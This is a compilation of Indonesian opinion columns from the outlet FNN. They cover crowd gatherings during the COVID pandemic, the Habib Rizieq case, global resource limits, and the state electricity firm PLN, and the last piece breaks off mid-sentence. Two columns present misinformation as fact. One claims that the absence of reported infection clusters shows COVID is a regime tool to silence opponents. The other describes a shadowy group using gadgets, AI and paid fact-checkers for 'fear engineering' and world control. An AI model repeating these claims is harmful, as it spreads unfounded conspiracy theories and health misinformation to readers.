by Tarmidzi Yusuf Bandung FNN - Ribuan kerumunan massa pendukung Donald Trump demo di Gedung Parlemen (Capitol Hill), Washinton Dc Amerika Serikat, yang berakhir rusuh saat hari pengesahan kemenangan presiden terpilih Joe Biden oleh Kongres pada Rabu (6/1/2021). Kita tidak mendengar ada cluster Capitol Hill yang terpapar dengan covid-19. Sebelumnya, di hampir seluruh negara bagian di Amerika, ribuan massa berkerumun memprotes untuk kematian George Floyd oleh tindakan polisi pada 25 Mei 2020. Bandingkan dengan pembantaian dan pembunuhan terhadap enam anggota laskar Front Pembela Islam (FPI) oleh polisi Indonesia di kilometer 50 tol Jakarta-Cikampek (Japek). Tidak ada protes dan demo turun ke jalan yang berkaitan dengan pembunuhan terhadap enam anggota Laskar FPI. Padahal kejadiannya sama-sama masa pandemi covid-19. Lalu pertanyaan, ada apa? Rakyat takut turun ke jalan karena polisi represif? Demonstrasi memprotes tindakan polisi Amerika terhadap George Floyd meluas tidak hanya terjadi di seantaro Amerika Serikat saja. Bahkan terjadi pula di beberapa negara di berbagai belahan dunia. Kita pun menyaksikan hal yang sama. Tidak ada laporan massa terpapar covid-19. Sejak kudeta militer di Myanmar 1 Februari 2021 lalu, ribuan bahkan jutaan rakyat Myanmar turun ke jalan-jalan. Rakyat Myanmar berkerumun untuk memprotes kudeta oleh junta militer. Sampai detik ini pun belum ada juga laporan bahwa massa demo terpapar covid-19. BBC seperti yang dilansir oleh Harian Kompas (26/2/21), mewartakan pengakuan saksi mata di lapangan. Ada juga beberapa massa pro dengan kudeta militer yang dipersenjatai dengan pisau, pentungan, pipa, dan ketapel untuk melempar batu. Sekitar 1.000-an pendukung militer terjun ke jalanan di pusat kota, untuk melawan massa anti kudeta Myanmar. Massa tandingan yang pro militer Myanmar, mengingatkan kita pada peristiwa aksi damai depan gedung Bawaslu 21-23 Mei 2019. Menjelang maghrib, ada massa tandingan yang menyerang polisi dan peserta aksi damai. Anehnya, massa aksi damai yang dikejar-kejar dan digebukin. Sama halnya yang terjadi di Indonesia belum lama ini. Kerumunan akibat kepulangan Habib Rizieq Shihab (HRS), yang di Bandara Soekarno Hatta, Petamburan, Tebet dan Mega Mendung belum ada laporan massa terpapar covid-19. Semua baik-baik saja. Semua sehat-sehat saja. Kerumunan Waterboom di Lippo Cikarang juga demikian. Kerumunan yang dihadiri oleh Ahok dan Raffi Ahmad, juga sama. Terakhir, kerumunan Jokowi di Maumere Nusa Tenggara Timur (NTT), hingga hari ini belum ada laporan massa kerumunan Jokowi yang terpapar dengan covid-19. Dari serangkaian peristiwa kerumunan dan demonstrasi massa ribuan, bahkan jutaan orang tersebut, tidak ada tentang masaa yang terpapar positif covid-19. Kenyataan ini menguatkan kecurigaan publik bahwa covid-19 telah dijadikan alat politik oleh rezim untuk membungkam oposisi, dan pihak-pihak yang berseberangan secara politik dengan penguasa. Meminjam meme akal sehat yang lagi viral di media sosial (medsos), kalau kerumunan rangkaian kepupalangan HRS memang sengaja dicari-cari kesalahannya. Sedangkan kerumunan akibat kunjungan Jokowi ke NTT, lagi dicari-cari pembenarannya. Kerumunan HRS berakhir di penjara. Sedangkan kerumunan Jokowi bisa bebas sebebas-bebasnya. Pertanda ketidakadilan makin nyata. Kezoliman sedang dipertontonkan dengan telanjang. Rakyat sudah penya penilaian. Toh, kekuasaan pada saatnya akan berakhir juga. Penulis adalah Pegiat Dakwah dan Sosial.

Gadget Kunci Utama Suksesnya Fear Engineering Seluruh Dunia!

by Komjen Polisi Drs. Dharma Pongrekun, MM., MH. Jakarta FNN - Mungkin banyak diantara kita yang tidak menyadari kalau Gadget (smartphone, laptop, dan perangkat siber lainnya) merupakan kunci utama (Master Key) dari suksesnya Fear Engineering (Rekayasa Ketakutan). Fear Engineering yang telah, sedang dan masih akan terus berlangsung di seluruh dunia. Tujuannya, melakukan rekayasa sosial (Social Engineering) sesuai dengan agenda yang telah dipersiapkan sebelumnya untuk merubah pola kehidupan sosial, dari yang lama dengan yang serba baru (New) seperti yang sedang berproses saat ini. Untuk mewujudkan Fear Engineering, terlebih dahulu dilakukan rekayasa kehidupan (Life Engineering). Caranya memprogram “alam bawah sadar” dari manusia per manusia. Sudah barang tentu “tidak akan disadari” oleh manusia-manusia tersebut, karena begitu canggihnya mereka membangun opini akan manfaat dari Gadget sebagai bagian kecil dari kemajuan teknologi seiring dengan kebutuhan perkembangan zaman. Opini yang dibentuk itulah yang membuat manusia-manusia tidak menyadari. Bahkan terlena dan akhirnya terjebak dalam Life Engineering. Sehingga bagi manusia-manusia yang sudah terlena oleh opini yang dibentuk tersebut tidak akan peka lagi. Karena telah terprogram cara berpikirnya (text book) dan tidak akan mampu lagi berpikir diluar opini/konteks yang dibangun (out of the box). Tidak sanggup lagi untuk melihat motivasi jahat (mens rea) dibalik opini tersebut, sebagaimana pepatah “ada udang dibalik batu”, yang mana akan berdampak sangat buruk. Dampak buruk itu bahkan akan menghancurkan seluruh sendi kehidupan manusia sebagai makhluk sosial yang merupakan fitrah dari citra Tuhan. Bila hal ini terjadi, maka sangat mudah bagi “mereka” untuk mewujudkan seluruh agenda tersembunyi (hidden agenda) dengan sempurna. Dengan cara mengorkestrasikan seluruh sistem yang ada di dunia dalam satu kendali penuh (Total Control). Tujuannya mengambil alih kendali seluruh sendi kehidupan sosial manusia fitrah dari kendalinya Tuhan. Siapakah mereka itu? Mereka adalah suatu kekuatan yang selama ini bergerak secara bayangan (shadow). Namun terorganisir, dan terstruktur dengan sangat rapih. Mereka bergerak secara terpola (systematic) dalam seluruh sendi kehidupan manusia (massive) dengan dalih untuk memperjuangkan nilai-nilai kemanusian di seluruh dunia dalam segala aspek. Mereka juga mengaku memperjuangkan kesetaraan dan prinsip penentuan nasib sendiri dari setiap bangsa. Namun ternyata semua itu hanyalah strategi mereka di dalam merangkul setiap bangsa agar mau bergabung. Setelah bergabung, maka semuanya dapat dengan mudah mereka kendalikan, karena sudah masuk dalam jebakan sistem yang mereka sudah siapkan. Kenapa Gadget telah menjadi kunci utama mereka dalam meraih kesuksesan mewujudkan agenda tersembunyinya (hidden agenda) selama ini? Gadget dapat menjadi ujung tombak rekayasa sosial dengan menggunakan Artificial Intelligence untuk mengenali pola dan mempelajari perilaku manusia. Selanjutnya dengan mudah dapat dikendalikan sesuai dengan kehendak si perekayasa sosial tersebut. Teknologi gadget memang dengan sengaja mereka persiapkan dengan sangat matang untuk melakukan interaksi sosial. Mempermudah mereka mengendalikan interaksi manusia menuju pada tercapainya program ketiganya, yakni Control Population diseluruh belahan dunia, sebagaimana yang penulis kupas dalam buku berjudul “Indonesia Dalam Rekayasa Kehidupan” yang diterbitkan pada tahun 2019. Program Utama mereka ada tiga, yakni Money, Power dan Control Population. Jadi, saat ini kita manusia di muka bumi sudah berada pada program yang ketiga. Dan yang terakhir menuju pada terwujudnya satu sistem kendali dunia. Bagaimana cara mereka membangun Opini, sehingga Gadget menguasai dan mengendalikan hidup kita? Mereka dahului dengan melakukan promosi-promosi untuk membangun opini, yakni dengan buaian-buaian yang menarik kepada kita sebagai objeknya. Bahwa perangkat tersebut adalah bagian dari perkembangan kemajuan jaman yang semakin canggih. Bahwa Gadget yang akan memberikan kemudahan (easy), kecepatan (speed up), kenyamanan (comfort) dan kemewahan (luxury). Bahkan banyak aplikasi-aplikasi yang telah membuat para penggunanya merasa takjub (amaze) menikmati permainan dari program alam bawah sadar tersebut. Padahal semua itu hanyalah cara mereka untuk merayu kita agar tertarik dan terus-menerus mengunakannya. Akibatnya, kita keasyikan dan akhirnya terjebak dalam kecanduan (addicted) yang memanjakan. Karena kita sudah terperangkap dalam zona nyaman (comfort zone) yang sengaja mereka bangun, dengan tujuan untuk memudahkan mereka mengendalikan mindset dan merubahnya melalui program alam bawah sadar kita, sehingga perilaku, kebiasaan dan karakterpun pasti berubah juga. Akhirnya, tanpa kita sadari secara bertahap, tapi pasti kita akan masuk dalam perangkap Sistem Kendali Global yang sudah terencana secara sistematis dan matang (mature). Hal tersebutlah yang telah membuat kita tidak dapat lagi melihat dan merasakan agenda tersembunyi atau motivasi dibalik semua itu. Tujuan akhirnya adalah untuk memperbudak semua manusia di dunia seperti yang kita alami, bahkan sampai saat ini pun masih banyak yang tidak menyadarinya. Kenapa demikian? Karena melalui Gadget, mereka telah berhasil mengorkestrasikan dunia melalui Life Engineering yang begitu cerdas. Melalui program alam bawah sadar (subconcious) dengan cara merasionalisasi aktifitas kehidupan dari sesuatu yang tidak nyata (dunia semu) menjadi realita dalam aktifitas kehidupan kita sehari-hari. Subconcious itu, baik berupa perubahan mindset, perubahan perilaku, perubahan kebiasaan, perubahan karakter, bahkan perubahan nasib kehidupan kita. Terbukti dengan munculnya terminologi-terminologi yang serba baru (New) dalam segala aspek kehidupan. Satu lagi yang perlu diwaspadai adalah munculnya terminologi Tuhan Baru (New God). Terminologi New God ini yang paling mengerikan. Karena saat ini mereka sedang menggiring kita dengan berbagai dalil-dalil yang telah mereka persiapkan secara matang sekali untuk menutupi kebenaran yang sejati agar kita tidak lagi mengandalkan Tuhan Yang Maha Esa yang selama ini kita imani. Tetapi mereka akan menjauhkan dan memutuskan hubungan kita dengan Ke-Maha Kudusan dan Ke-Muliaan Tuhan yang selama ini kita sembah sebagai satu-satunya sumber kehidupan kita di dunia ini. Bagaimana cara mereka menutupi kebenaran sejati? Yakni melalui kekuatan media besar yang sudah mereka miliki selama ini. Mereka menyebarluaskan (relay) pesan yang ingin disampaikan dengan sangat efektif dan efisien kepada seluruh penerima, yakni para pengguna Gadget dengan tujuan agar opini dengan cepat terbangun sesuai dengan agenda yang mereka rencanakan. Saat ini ada banyak media yang mereka gunakan untuk membangun opini tersebut. Baik itu media sosial, media online, atau media mainstream yang dapat diakses melalui internet dari perangkat Gadget tersebut. Semuanya sudah berada dalam kendali penuh mereka juga! Sadarilah itu semua, bahwa independensi sudah tidak ada lagi. Selama ini mereka juga yang telah mempropagandakan kebebasan menyampaikan opini yang bertanggung jawab. Namun kenyataannya ruang tersebut sudah dikuasai penuh, karena para pengguna Gadget sudah digiring untuk hanya menggunakan platform-platform yang sudah mereka kuasai penuh oleh pemilik agenda. Mereka akan merekayasa kehidupan kita, agar dapat mengendalikan semua tren pemberitaan yang tersajikan. Dikomunikasikan satu arah secara terus-menerus (repetition), sehingga apapun yang disuguhkan menjadi suatu kebenaran absolut yang harus diimani dan diamini. Hal tersebut tentunya tidaklah gratis. Tetapi ada kekuatan dana yang besar untuk memagarinya. Mereka juga berdayakan lembaga-lembaga yang dianggap mempunyai kredibilitas dan integritas. Tentunya dengan kekuatan uang, untuk menentukan suatu kebenaran secara sepihak yang mereka jadikan penentu kebenaran (fact checker) tanpa dialog sama sekali. Hanya mereka pemilik kebenaran absolut. Mereka akan melabeli sebagai hoax kepada siapapun yang berbeda pemikiran dengan mereka. Paradigma hoax ini sudah mereka bangun bertahun-tahun, agar terbentuk opini tentang “apa itu hoax”. Ketika tiba saatnya mereka tinggal memainkan konsep “adu domba” untuk memecah belah persatuan. Segala hal yang tidak sesuai dengan agenda mereka, maka dengan serta-merta akan mereka labeli sebagai hoax, terutama postingan-postingan yang untuk membangun rasa bebas dari ketakutan. Beberapa opsi yang mereka lakukan, antara lain membatasi publikasi (shadow banned), dan akhirnya melenyapkannya (take down) secara sepihak tanpa menggali lebih dalam argumentasi dari si pembuat berita. Itu karena hampir semua media mereka kuasai mereka. Padahal kebenaran absolut hanyalah milik Tuhan semata, yang tidak dapat dibeli dengan uang. Tujuannya agar opini yang sedang dibangun menjadi tercapai dengan sempurna. Jadi selama ini ternyata kita sungguh-sungguh telah terbuai oleh program-program palsu yang mereka propagandakan. Baik itu demokrasi maupun yang kita pikirkan sebagai hak asasi. Semuanya sudah sirna seketika bagaikan ditelan bumi. Sirna seiring dengan keinginannya untuk segera mewujudkan agenda tersembunyi yang sudah lama mereka rencanakan secara matang. Mereka sangat sabar menanti waktu yang tepat untuk mewujudkan agendanya (design), yakni penyatuan sistem kendali seluruh dunia. Penyatuan menuju terbentuknya peradaban baru kehidupan di seluruh dunia dalam tatanan yang baru. Tatanan itu sesuai dengan konsep yang sudah mereka persiapkan secara matang dari jauh-jauh hari. Mereka ingin mengambil alih kendali kehidupan fitrah kita, dari kendali Tuhan menjadi dibawah kendali Satu Sistem Dunia yang menjadikan teknologi informasi dan komunikasi sebagai sarana pengendalinya. Lalu bagaimana cara mereka membangun opini tersebut, agar Fear Engginering dapat terwujud? Caranya sangatlah mudah. Karena selama ini mereka telah berhasil memanipulasi pikiran dan perasaan yang terdapat dalam jiwa manusia. Manipulasi melalui program alam bawah sadar, yang tentunya tidak kita sadari dilakukan secara terus menerus dan berulang-ulang. Akibatnya, terbangunlah opini seolah-olah para penggunanya sedang menjalani kehidupan di dunia nyata. Padahal hanya di dunia yang semu. Sehingga pikiran dan perasaan yang telah terbentuk tersebut secara gradual melalui program alam bawah sadar otomatis akan terrefleksi pada perubahan karakter dan perilaku manusia dalam kehidupan nyata. Hal tersebut di atas dengan sangat mudah terwujud diakibatkan oleh program ilmu pengetahuan yang kita terima selama ini. Membangun logika berpikir manusia terbatas hanya pada yang dapat dilihat oleh mata jasmani, fisik dan material. Tanpa kita sadari telah menggiring kehidupan manusia, dan terjebak dalam kehidupan materialistis atau hanya mengusung nilai-nilai angka (quantitative). Quantitative yang secara otomatis juga akan terbangunnya sistem kepercayaan (belief system) yang berbasis angka-angka (numeric). Contohnya, angka di bank banyak, maka hati senang. Namun jika angkanya mengecil pikiran stress. Lalu ketika angka kematian yang disajikan tinggi, maka rasa ketakutan akan menguasai pikiran dan hati menjadi gentar. Kemudian setelah terkendalinya pikiran dan perasaan manusia, maka kekuatan media itu tinggal relay setiap pesan yang akan disampaikan ke seluruh dunia. Pesan lewat setiap platform yang sudah tersedia pada Gadget tersebut untuk merasionalisasikan agendanya. Caranya membangun opini ketakutan yang mengusung “tema tertentu”. Opini yang dapat mencuri rasa damai sejahtera pada setiap pikiran dan perasaan manusia para pengguna Gadget. Misalnya, dengan menampilkan gambar-gambar, video-video baik yang dikemas secara animasi maupun dalam bentuk reality show. Bisa pula berupa himbauan-himbauan secara terus-menerus dengan tema yang sama. Disampaikan secara berulang-ulang, dengan tujuan untuk membangun pikiran dan rasa ketakutan pada setiap manusia yang melihat dan membacanya. Maka terbentuklah “opini” yang dikehendaki dan diyakini sebagai suatu realita kehidupan. Nah bagi yang saat ini dihantui rasa ketakutan (Fear), artinya Fear Engineering telah sukses ditularkan oleh Gadget yang melekat pada tangan kita masing-masing. Tanpa sadar pula banyak orang tergoncang imannya. Bahkan telah melupakan kekuatan Yang Maha Kuasa, yang jauh lebih besar dari pada apa yang sedang mengguncang pikiran dan perasaannya. Padahal sesungguhnya Dialah yang berkuasa memberi kehidupan sekaligus berkuasa mencabut kehidupan kita juga. Semoga tulisan ini dapat membuka pikiran dan hati kita. Demi keselamatan jiwa-jiwa untuk segera berpaling kepada kemahakuasaan-Nya, yang membawa kita kembali menjadi fitrah. Ketakutan (fear) tidak akan dapat menguasai kita jika pikiran dan perasaan kita selalu melekat kepada-Nya. Penulis adalah Wakil Kepala Badan Siber dan Sandi Negara (BSSN), Mantan Direktur Narkoba Bareskrim Polri (2015).

Kemauan Manusia Tak Berbatas, Dengan Dukungan Dunia Yang Berbatas

by Prof. Ir. Yazid Bindar M.Sc. Ph.D. Bandung FNN - Dunia saat ini menghidupi 7,8 miliar orang. Manusia hidup dengan dukungan pangan yang ditumbuhkan dari hamparan tanah pertanian pada kulit bumi. Manusia hidup maju dan modern saat ini berkat diadakannya bahan bakar fosil dalam perut bumi. Manusia menggali tanah bawah perut bumi untuk mengambil minyak bumi, gas bumi, batubara dan mineral. Permukaan tanah bumi adalah tempat manusia untuk menanam pangan. Perut bumi dijadikan manusia untuk tambang bahan kehidupan maju. Bahan dalam perut bumi dikuras dan bahkan dihabiskan. Bahan diolah untuk menjadi kemewahan hidup yang tak berbatas. Bahan dari perut bumi suatu waktu habis. Tanah permukaan bumi suatu waktu tidak mampu lagi berfungsi untuk menumbuhkan pangan. Manusia kini hidup dalam kondisi tidak berkelanjutan. Kemampuan dukungan dunia terbatas dan terus berbatas. Pikiran manusia dengan otak yang cemerlang berkelana untuk memanfaatkan isi dunia. Manusia hendak merubah apa yang ada di bumi ini untuk kehidupannya. Hutan yang menjulang diubah manusia untuk keperluan hidupnya tak berbatas. Laut yang terhampar dikeruk isinya dengan teknologi maju langit yang menjulang. Diisi dengan segala satelit dan alat angkasa yang melayang layang tak tertambat. Tanah yang berisi bahan dalam perut bumi digali untuk membawa isinya ke permukaan bumi. Bahan-bahan sisa hasil olahan dengan otak cemerlang manusia setelah digunakan, dibuang begitu saja di permukaan bumi. Permukaan bumi menanggung semua bahan buangan manusia yang sudah tidak berguna lagi buat mereka. Plastik hanya berfungsi menyenangkan hidup manusia dalam waktu yang singkat. Namun manusia membuang plastik hasil gunanya di permukaan bumi. Permukaan bumi menanggung semua kotoran hasil olahan manusia. Gaya hidup manusia mengekploitasi permukaan dunia, dan bahkan langit dunia bermula dari yang sederhana. Manusia menemukan api, dan api digunakan untuk peningkatan kehidupan. Kini api digunakan untuk membakar hutan yang sengaja dilakukan untuk mempermudah keinginan manusia tercapai dengan cepat. Manusia menemukan berbagai bahan kimia. Bahan kimia maju membawa kehidupan manusia ke tingkat nyaman tinggi. Bahan kimia yang sudah terpakai dibuang ke hamparan tanah oleh manusia. Rongsokan bahan-bahan kimia menjulang di tempat buangan sampah. Air yang semula bersih dan aman dikonsumsi oleh manusia, kini berupah menjadi air yang terkontaminasi oleh bahan bahan kimia yang dibuang manusia. Gaya hidup ekploitatif ini makin meningkat dengan teknologi yang dihasilkan oleh daya pikir, daya imaginasi, daya ingin dan daya buat manusia. Kini manusia hidup sebagai masyarakat kompleks. Kota-kota besar muncul sebagai lambang kemewahan masyarakat komplek. Manusia memperdagang hasil olahannya dari bahan baku yang diambil dalam perut bumi dan bahan baku hasil tanaman dari tanah bumi. Ini semua ditopang oleh produk bumi. Sebagian produk bumi dapat dihasilkan kembali sebagai bahan terbarukan. Sebagian besar produk bumi malah merupakan bahan yang tidak terbarukan. Kini masa penurunan kemampuan dukungan bumi sudah mulai terjadi. Penurunan dukungan energi untuk kehidupan sedang memasuki massanya. Menipisnya spektrum luas sumber daya tak terbarukan adalah tanda penurunan dukungan energi. Populasi global tumbuh melampaui daya dukung bumi. Populasi global tumbuh besar sebagai hasil pikir manusia yang diberikan oleh Yang Maha Pencipta. Menyediakan bumi dengan kelengkapan yang sudah diadakan untuk kehidupan manusia. Manusia diberi kemampuan dari olah pikir secara evolusif berkembang terus. Capaian manusia dengan olah pikir mampu mempercepat jutaan kali reaksi gas nitrogen yang ada di udara dengan gas hidrogen untuk menghasilkan gas amnonia. Reaksi ini direkayasa dengan percepatan jutaan oleh Haber dan Bosch. Hasil akhir rekayasa percepatan Haber dan Bosch adalah penggunaan turunan ammonia untuk menjadi pemasok nitrat dan ammonium ke tanah dengan laju cepat, sehingga tanah mampu menghasilkan produk pertanian dalam jumlah sekian kali lipat dari yang tanpa ini. Ini dikenal dengan pupuk nitrogen anorganik. Hasilnya adalah produk pangan dihasilkan dalam jumlah yang terus menerus naik, dan jumlah penduduk dunia naik eksponensial. Pupuk nitrogen anorganik diproduksi dari gas nitrogen udara dan gas alam atau batubura secara besar-besarkan. Dengan ini, dunia mampu menghasilkan produk pangan dalam jumlah yang diperlukan. Tetapi gas alam dan batubara merupakan bahan yang tidak terbarukan. Bahan ini akan memasuki masa habisnya. Maka dunia tidak akan mampu lagi mendukung keperluan pangan dimasa depan dengan jumlah populasi sebanyak ini. Dunia akan menghadap krisis pangan, krisis energi dan krisis mata pencarian atau krisis keuangan. Iklim yang cocok untuk produksi pangan berubah, karena manusia selalu memompa gas karbon ke udara. Ini membuat krisis-krisis ini akan menguat terus, akibat manusia tidak mau mengubah kemauan dalam mengejar kenyamanan hidup tingkat tinggi. Prediksi apa yang akan terjadi, mau tidak mau harus dilakukan walaupun ini menimbulkan kekhawatiran besar. Dari sekian krisis-krisis yang akan dihadapi, satu fokus yang harus dicurahkan adalah penyadaran akan arti tanah pertanian. Tanah pertanian sudah menjadi tempat produksi pangan. Berbagai bahan pupuk diinjeksi manusia untuk menaikkan kemampuan produksi lahan terhadap bahan pangan. Tanah pertanian diinjeksi dengan berbagai pupuk nitrogen seperti urea, ammonioum nitrat, ammonium chlorida atau ammonia. Semua pupuk ini diproduksi dari bahan fosil. Komponen pupuk berikutnya yang diinjeksi ke lahan pertanian adalah pupuk Phousfor (P) dan pupuk Kalium (K). Kebiasaan produksi pangan dengan pupuk NPK yang dihasilkan dari bahan bakar fosil dan mineral tambang membuat produksi pangan bergantung 100 % pada doping NPK dari luar. Tanah yang sudah disiapkan isinya dengan segala komponen alami untuk menumbuhkan pangan diubah kemampuannya oleh manusia dengan cara doping NPK dari luar. Siklus alami penyediaan nitrogen dalam bentuk nitrat (NO3-) dan ammonium (NH4+) sudah disediakan oleh Yang Maha Kuasa. Dengan bantuan mikroorganisme dalam tanah untuk merubah nitrogen dari udara menjadi nitrat dan ammonium ini. Doping N dari luar dalam jumlah banyak langsung dengan cepat terkonversi menjadi nitrat dan ammonium dalam jumlah berlipat-lipat dibanding yang dihasilkan secara alami. Tanaman tumbuh dengan cepat menghasilkan bahan pangan seperti padi dan gandum dalam jumlah yang besar. Mikroorganisme yang ada dalam tanah tidak lagi berguna sebagai proses alami. Mikroorganisme ini dapat dikatakan menghilang karena tiidk mampu lagi hidup di tanah dengan konsentrasi nitrat dan ammonium yang tinggi. Ini merupakan tindakan manusia yang merubah siklus alami proses terbentuknya nitrat dan ammonium dengan cari doping tetapi mematikan proses alami ini. Manusia sampai hari ini masih mengatakan bahwa keperluan pasokan pupuk NPK dari luar akan selalu ada. Kami akan beli pupuk NPK dengan ketersediaannya. Manusia dalam produksi pangan sudah bergantung 100 % kepada pupuk NPK untuk doping tanah pertanian ini. Tetapi kini manusia harus disadarkan bahwa pupuk nitrogen itu dibuat dari bahan baku udara sebagai sumber nitrogen (N2) dan bahan baku gas alam dan batubara sebagai sumber hidrogen (H2). Gas alam dan batubara merupakan bahan bakar fosil yang memiliki masa habisnya. Haber Bosch mampu mempercepat reaksi N2 dan H2 berjuta kali dengan katalisnya membentuk ammonia (NH3). Amonia ini adalah bahan dasar untuk membuat pupuk nitrogen yang diperlukan untuk mendoping tanah. Ammonia direaksikan dengan gas CO2 untuk menghasilkan pupuk Urea CO(NH2). Ammonia direaksikan dengan HCl untuk menghasilkan pupuk NH4Cl. Ammonia juga direaksikan dengan asam nitrat untuk menghasilkan pupuk NH4NO3. Semua pupuk nitrogen sebagai mesin utama produksi pangan saat ini akan memasuki masa ketidakmampuan untuk disediakan lagi ketika gas alam dan batubara bakalan memasuki massa habisnya. Tuhan sudah menyediakan nitrogen N2 dalam udara buat makhluknya dimuka bumi. Kandungan N2 dalam udara disediakan sebanyak 79 %. Kandungan oksigen (O2) adalah 21 %. Oksigen dikonsumsi oleh makhluk hidup untuk bernafas. Oksigen dibuatkan siklus produksinya kembali Tuhan Yang Maha Kuasa oleh peristiwa fotosintesis pada daun-daun tumbuhan hijau. Reaksi fotosintesis pada daun hijau merupakan reaksi antara gas CO2 dan air (H2O) membentuk senyawa dasar glukosa dan gas O2. Gas O2 dibebaskan ke udara untuk mengganti gas O2 yang sudah dikonsumsi. Senyawa dasar glukosa menjadi dasar untuk pembentukan senyawa karbohidrat, sellulosa, hemisellulosa dan lignin melalui metabolisme lanjut dalam tumbuhan. Karbohidrat adalah bahan pangan buat manusia. Sellulosa, hemisellulosa dan lignin merupakan biomassa yang digunakan sebagai pakan dari hewan-hewan ternak dan bahan keperluan hidup manusia juga. Mari kita berpikir tentang keberadaan N2 di udara yang lebih dari dua kali jumlah O2 di udara. Padahal, manusia tidak melihat secara langsung bahwa N2 dikonsumsi langsung. Kita jangan salah pikir dulu. N2 disediakan dalam jumlah yang besar dalam udara atmosfir merupakan persediaan atau sebagai gudang N2 yang Allah sudah siapkan sepanjang bumi ini ada. Nitrogen adalah unsur utama pembentuk protein. Protein merupakan bahan dasar pembentuk tubuh manusia. Peranan protein dalam tubuh manusia sangat vital. Protein juga merupakan bahan dasar pembentuk tubuh ikan dan hewan-hewan. Nitrogen adalah bahan dasar utama pembentuk kloropil pada daun yang bertugas untuk menyerap energi matahari dalam menjalankan reaksi pirolisis. Penulis adalah Kelompok Keahlian Teknologi Pengolahan Biomassa dan Pangan Fakultas Teknologi Industri ITB, ybybyb@fti.itb.ac.id

Setelah Kerumunan Jokowi, Penahanan Habib Rizieq Menjadi Tidak Sah

by Asyari Usman Medan, FNN - Setidaknya ada dua laporan tentang kerumunan Jokowi di Maumere, NTT, yang tidak diterbitkan tanda terima laporannya oleh Bareskrim Polri. Tidak jelas penolakannya, tetapi jelas tidak ada pertanda akan dilanjutkan. Yang pertama adalah laporan pengaduan dari Koalisi Masyarakat Anti Ketidakadilan (KMAK) yang mereka sampaikan pada 25 Februari 2021. Yang kedua, pengaduan yang dibawa oleh Pengurus Pusat Gerakan Pemuda Islam (GPI) pada 26 Februari 2021. Kurnia dari KMKA menyatakan mereka sangat kecewa. Sedangkan Ferrry Dermawan dari GPI mengatakan dari pihak Bareskrim hanya ada pernyataan untuk diajukan pengaduan itu secara resmi kembali. Intinya, Bareskrim menolak laporan itu. Meskipun mereka tidak menggunakan kata “menolak”. Petugas Bareskrim hanya bisa berbasa-basi saja ketika tidak mau menerbitkan tanda terima laporan kepada kedua pelapor. Kalau Kepolisian RI tidak memproses laporan masyarakat tentang kerumunan Presiden Jokowi di Maumere, NTT, maka dampaknya akan sangat serius. Polisi bisa mengatakan apa saja tentang penolakan itu. Tetapi, penolakan ini berdampak besar terhadap kasus-kasus kerumunan yang telah diproses maupun yang kemungkinan akan terjadi besok-lusa. Kasus kerumunan ‘high profile’ yang bertautan dengan pembunuhan 6 anggota FPI dan penahanan Habib Rzieq Syihab (HRS), sekarang kehilangan dasar hukum setelah kerumunan Jokowi tidak diproses. Penahanan HRS menjadi tidak sah setelah ada ‘juris prudensi’ yang tercipta di Maumere. Polisi wajib menghentikan kasus HRS yang berangkat dari kerumunan Petamburan dan Megamendung. Sirna sudah landasan hukum untuk melanjutkan perkara ini. Apa pun ‘pretext’ (alasan) yang dikarang-karang oleh Istana dan Kepolisian tentang kerumunan Jokowi di Maumere tidak dapat diterima. Pihak Istana mengatakan kerumunan Jokowi itu spontanitas. Tetapi, pihak pelapor mengatakan bahwa kemurunan Maumere sudah ada sebelum Jokowi tiba. Pelapor menganggap ada pembiaran oleh petugas. Fakta lain adalah bahwa Jokowi melakukan bagi-bagi hadiah kepada warga yang menyambut. Kalau pihak Istana mengatakan Jokowi, ketika muncul dari atap mobil, langsung berteriak agar pekerumun memakai masker, di Petamburan dan Megamendung pun telah dilakukan imbauan serupa. Bahkan sebagian besar pekerumun memakai masker waktu itu. Jadi, kerumuna Jokowi dan kerumunan HRS tidak berbeda sama sekali. Bedanya adalah Jokowi seorang presiden yang bisa melakukan apa saja, sedangkan HRS hanya orang biasa yang tidak punya kekuasaan. Dampak serius lainnya dari penolakan Polisi untuk memproses pengaduan kerumunan Jokowi adalah kesulitan untuk menegakkan protokol kesehatan (prokes) di masa mendatang. Instansi-instansi yang berwenang untuk urusan ini akan kehilangan wibawa untuk membubarkan kerumunan. Polisi tidak bisa lagi menggunakan pasal apa pun tentang kerumunan. Pelanggaran prokes, khususnya kerumunan, menjadi tidak bisa lagi diproses oleh Kepolisian jika itu terjadi di waktu-waktu mendatang ini. Orang akan dengan enteng mengatakan, “Presiden saja boleh buat kerumunan tanpa ada sanksi hukum apa pun”. Beberapa hari lalu, saya sarankan agar Pak Jokowi berbesar hati mengakui kesalahan di Maumere. Meminta maaf secara terbuka, dan membayar denda 100 juta. Kalau Pak Jokowi berkenan menempuh cara ini –dan masih bisa dilakukan sebelum berlarut-larut— hampir pasti beliau akan dilihat sebagai Presiden yang rendah hati. Presiden yang bertanggung jawab. Presiden yang “leading by example”. Memimpin dengan keteladanan. Sebaliknya, jika Pak Jokowi arogan, merasa bisa melakukan apa saja, maka sikap seperti ini akan mengukuhkan labelisasi otoriter, sewenang-wenang, tebang pilih, tajam ke bawah, dlsb. The choice is yours, Pak. Penulis adalah Wartawan Senior FNN.co.id.

PLN Jangan Menambah Kehancuran Negara

Skenario ini kabarnya ada benang merahnya terhadap rencana pencalonan presiden pada 2024. Artinya, kalau semua ini benar berarti berlatar berlakang politik, bukan kebutuhan by Ahmad Daryoko Jakarta FNN - JUJUR saja kalau kita bicara tentang Perusahaan Listrik Negara (PLN), sejatinya institusi tersebut kini cuma dipakai namanya saja alias sudah menjadi "proxy" (boneka). Berbagai kepentingan ada dibelakangnya, terutama "Oligarkhi" rezim guna membiayai "tambahan" cost dari berbagai elemen. Mulai dari parlemen, kementerian, aparat hukum, aparat auditor semacam Badan Pemerika keuangan (BPK ) atau Badan Pengawas Keuangan dan pembangunan (BPKP) dan lainnya. Semua untuk mendukung kekuasaan, bahkan kalau bisa merancang kekuasaan penggantinya. Sehingga penguasaan sumber daya alam dan lain-lain tetap dipegang rezim yang sama atau keluarga, kelompok, partai yang sama dengan modus "demokrasi". Lingkaran di luar itu jangan berharap banyak untuk berkuasa kecuali ada suatu "turbulensi" luar biasa, skenario dari Yang Maha Kuasa. Nah, penulis akan menyampaikan terkait hal itu semua. Tiba-tiba seorang mantan Dirut PLN dengan semangatnya menelepon penulis. Intinya, ia menyampaikan bahwa saat ini ada "draft" RUPTL (Rencana Usaha Penyediaan Tenaga Listrik) yang berisi antara lain pembangunan Pembangkit Listrik Tenaga Uang (PLTU) batu bara ribuan MW. Ia bilang, instruksi ini berasal dari seorang pejabat pemerintah ring 1 